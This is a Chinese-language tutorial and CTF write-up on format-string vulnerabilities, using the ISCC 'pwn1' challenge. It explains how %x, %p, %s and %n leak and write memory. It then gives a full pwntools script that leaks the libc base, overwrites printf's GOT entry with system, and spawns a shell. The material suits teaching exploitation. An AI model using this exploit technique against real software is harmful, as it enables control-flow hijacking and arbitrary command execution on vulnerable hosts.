格式化字符串利用小結
格式化字符串利用小結
格式化字符串漏洞基本原理:
Printf()函數的一般形式為printf(“format”,輸出表列),其第一個參數就是格式化字符串,用來告訴程序以什麽格式進行輸出。正常情況下,這樣使用:
char str[100];
scanf(“%s”,str);
printf(“%s”,str);
但也有人這麽用:
char str[100]
scanf(“%s”,str);
printf(str)
也許代碼編寫者的本意只是單純打印一段字符(如“hello world”),但如果這段字符串來源於外部用戶可控的輸入,則該用戶完全可以在字符串中嵌入格式化字符(如%s)。那麽,由於printf允許參數個數不固定,故printf會自動將這段字符當作format參數,而用其後內存中的數據匹配format參數。
以上圖為例,假設調用printf(str)時的棧是這樣的:
(1)如果str就是“Hello word”,則直接輸出“hello world”
(2)如果str是format,例如:%2$p,就會輸出format偏移2處到內存地址的內容!
實例分析:
下面我們來通過ISCC pwn1的格式化字符從來進行分析:
首先看下文件
file pwn1 pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs),
for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped
運行下程序:
查看下保護機制:
發現只有NX保護機制。
看下反編譯的源碼:
發現漏洞在printf輸出的地方。測試下:
果然出現了打印地址的情況,說明存在格式戶字符串漏洞。
我們來調試熟悉格式化字符串的利用:
%c:輸出字符,配上%n可用於向指定地址寫數據。
%d:輸出十進制整數,配上%n可用於向指定地址寫數據。
%x:輸出16進制數據,如%i$x表示要泄漏偏移i處4字節長的16進制數據,%i$lx表示要泄漏偏移i處8字節長的16進制數據,32bit和64bit環境下一樣。
%p:輸出16進制數據,與%x基本一樣,只是附加了前綴0x,在32bit下輸出4字節,在64bit下輸出8字節,可通過輸出字節的長度來判斷目標環境是32bit還是64bit。
%s:輸出的內容是字符串,即將偏移處指針指向的字符串輸出,如%i$s表示輸出偏移i處地址所指向的字符串,在32bit和64bit環境下一樣,可用於讀取GOT表等信息。
%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置,如%100x%10$n表示將0x64寫入偏移10處保存的指針所指向的地址(4字節),而%$hn表示寫入的地址空間為2字節,%$hhn表示寫入的地址空間為1字節,%$lln表示寫入的地址空間為8字節,在32bit和64bit環境下一樣。有時,直接寫4字節會導致程序崩潰或等候時間過長,可以通過%$hn或%$hhn來適時調整。
%n是通過格式化字符串漏洞改變程序流程的關鍵方式,而其他格式化字符串參數可用於讀取信息或配合%n寫數據。
1、%x打印內存數據
首先在printf處下一個斷點:
運行輸入%x:
程序段在了我們的斷點處。C繼續運行
發現程序打印出了,format偏移1處的內存中的內容。
現在我們輸入%5$x 看打印的內容是不是:0x1
果然輸出了我們想要預設的偏移為5的數據,即為1.
2、%p打印內存數據
%p的用法和%x的用法相同,不同的是%p會在打印的數據前面添加上0x(輸出16進制數據)。例如%5$p
然後試一下偏移四處的棧數據即我們預測的0xaffd014.輸入%4$p,看效果。可以發現打印的是帶有0x的數據內容,即十六進制數據。
3、%s打印內存數據
%i&s是打印處偏移i處地址裏面數據指向的內存地址的內容。例如我們通過%3$s以字符串格式打印偏移3處的內容,就是0xffffd074指向的內容,即為0xffffd26c,下面我們看效果。
會發現打印的是L***為什麽不是0xffffd26c呢?別急,看下轉碼。
內存小端存儲,是以 6c d2 ff ff 形式存儲,打印的就是0xffffd26c轉換為字符串之後的形式。
4、%n寫入內存數據
%n和%s類似,會把%好之前的字符個數,寫入第i處數據指向的地址空間,我們實驗下AAA%3$n,看看會不會把3寫入到0xffffd074指向的內存,即覆蓋0xffffd26c.
會看到,我們成功將3寫入了0xffffd074指向的數據。這樣我們就能夠利用這一點來修改got表的地址了。
如果要寫入具體的數據可以通過%datax%n$n,例如要寫入數據0x48到偏移刪除的位置,可以用%72x%3$n.(72是0x48的十進制數據。)
調試看效果:
可以發現偏移三處的位置,0xffffd074指向的數據被我們修改為了0x48(‘H‘).
例題鏈接:http://pan.baidu.com/s/1nv3NRVN 密碼:8qjb
後面我們會結合實際的例題來完整的實例腳本。
還是這道題pwn1,剛剛我們對格式化字符串的參數利用方法,下面就是利用方式了。先看腳本:
1 from pwn import* 2 3 local =1 4 debug = 1 5 6 if local: 7 p = process(‘./pwn1‘) 8 else: 9 p = remote("127.0.0.1",8080) 10 11 #context.log_level = ‘debug‘ 12 ‘‘‘ 13 if debug: 14 gdb.attach(p) 15 ‘‘‘ 16 def fms(data): 17 p.recvuntil("input$",timeout=4) 18 p.sendline("1") 19 p.recvuntil("please input your name:\n") 20 p.sendline(data) 21 22 23 libc = ELF("/lib/i386-linux-gnu/libc.so.6") 24 elf = ELF(‘./pwn1‘) 25 26 fms(‘%35$p‘) 27 28 libc_start_main_addr = int(p.recv(10),16) - 243 #__libc_start_main 29 libc_addr = libc_start_main_addr - libc.symbols[‘__libc_start_main‘] 30 print "libc_addr =",hex(libc_addr) 31 32 printf_got = elf.got[‘printf‘] 33 print "printf_got =",hex(printf_got) 34 35 system_addr =libc_addr + libc.symbols[‘system‘] 36 print "system_addr =",hex(system_addr) 37 38 #make stack 39 make_stack = ‘a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 40 fms(make_stack) 41 #gdb.attach(p) 42 43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn" 44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 45 print "payload=",payload 46 47 fms(payload) 48 fms(‘/bin/sh\x00‘) 49 p.interactive()
看下這條語句:
make_stack = ‘a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1)
目的是擡高棧:防止寫入的數據被程序執行過程中被覆蓋,語句如下,0x30這個數值可以自己定義。剩下的工作就是調試尋找偏移地址了。
利用思路:1、泄露地址:__libc_start_main —>libc_addr
2、修改printf的got表內的地址為system函數的地址。
3、通過源程序中的printf(/bin/sh),就變成了system(/bin/sh),取得了shell了。
參考鏈接:http://bobao.360.cn/learning/detail/3654.html
格式化字符串利用小結